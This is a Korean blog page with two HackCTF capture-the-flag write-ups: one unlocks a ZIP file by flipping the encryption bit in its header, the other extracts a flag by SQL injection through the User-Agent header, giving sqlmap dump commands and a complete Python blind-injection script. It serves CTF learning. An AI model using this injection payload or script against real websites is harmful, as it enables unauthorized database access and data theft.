'HackCTF'에 해당되는 글 2건

반응형

이번 문제는 SuNiNaTas의 28번 문제를 그대로 가져온 듯 하다.

문제를 풀어보자.



제공해준 zip 파일을 다운받아 열면 flag.txt 파일이 존재하는데 해당 파일을 읽으려하면 암호를 입력하라고 한다.



그래서 fcrackzip을 이용하여 해당 zip 파일의 암호를 해독해보려 했는데 flag.txt가 암호화가 되어있지 않다고 뜬다.


그래서 ZIP 파일의 파일헤더에 대해 찾아보았다. 

- 참고 : https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html



파일 헤더를 보면 0x8 0x9 부분에 Flags 헤더가 존재함을 볼 수 있다.

이 헤더가 의미하는 바는 아래와 같다. 


Flags     General purpose bit flag:

Bit 00: encrypted file

Bit 01: compression option 

Bit 02: compression option 

Bit 03: data descriptor

Bit 04: enhanced deflation

Bit 05: compressed patched data

Bit 06: strong encryption

Bit 07-10: unused

Bit 11: language encoding

Bit 12: reserved

Bit 13: mask header values

Bit 14-15: reserved


그렇다면 문제에서 제공한 zip 파일에서 flag.txt는 어떤 형식으로 되어있는지 보자.



flag.txt의 0x8 0x9에는 각각 09 08이 들어있음을 볼 수 있다.

이는 00001001 00001000으로 리틀엔디안 형식으로 보면 Bit 00에 해당하는 값이 1로 세팅되어 있음을 볼 수 있다.


이를 0으로 세팅해주기 위해 08 08로 변경해준 뒤 저장해준다.


그리고 난 뒤 다시 해당 zip 파일을 열어보면 flag.txt의 잠금이 풀려 Flag를 얻을 수 있다.




반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] No Password  (0) 2018.12.30
[HackCTF] 가위바위보  (0) 2018.12.28
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,
반응형

해당 문제는 2018 Xmas-CTF를 복구한 문제입니다.


문제에 접근하면 액세스 거부! 라는 글이 보인다.

돌아다녀봐도 사용자로부터 입력을 받는 파라미터나 버튼이 없는 것을 확인하였다.


나는 여기서 [공인된 컴퓨터] 라는 것에서 힌트를 얻었다.

user-agent 부분에서 뭔가 되지 않을까 싶어 SQL Injection을 시도하였고 성공하였다.




위와 같이 User-Agent 부분에 Injection 구문을 넣은 결과 아래와 같이 [환영합니다] 라는 문구가 떴다.



여기부터 2가지 방식으로 진행하였다.


방법1. SqlMap 활용 > Time Based SQL Injection


1) DB 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 --dbs

 - user-agent에 대한 공격을 진행하기 위해서는 level 3으로 지정해주어야 한다.


2) TABLE 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db --tables


3) column Name 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas --columns


4) 데이터 추출 : sqlmap -u "http://ctf.j0n9hyun.xyz:2029" --level 3 -D db -T uas -C ua --dump



방법 2. Blind SQL Injection


1) 코드

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import urllib2

flag = ""
url = "http://ctf.j0n9hyun.xyz:2029/"
request = urllib2.Request(url)

for chr_l in range(1,41):
    print "[-] find "+ str(chr_l)+"'s letter"
    binary=''

    for bin_l in range(1,8):
        request.add_header('User-Agent',"' or (select substr(lpad(bin(ascii(substr(ua,"+str(chr_l)+",1))),7,0),"+str(bin_l)+",1) from uas)=1 and '1'='1")
        if("color: green;" in urllib2.urlopen(request).read()):
            binary += '1'
        else:
            binary += '0'
        print binary

    flag = flag + ('%x' % int(binary,2)).decode('hex')
    print flag

print flag

cs

2) 결과




반응형

'Solve Problem > HackCTF' 카테고리의 다른 글

[HackCTF] LOL  (2) 2019.11.20
[HackCTF] Secret Document  (0) 2018.12.31
[HackCTF] 가위바위보  (0) 2018.12.28
[HackCTF] Secure Login  (0) 2018.12.02
블로그 이미지

rootable

,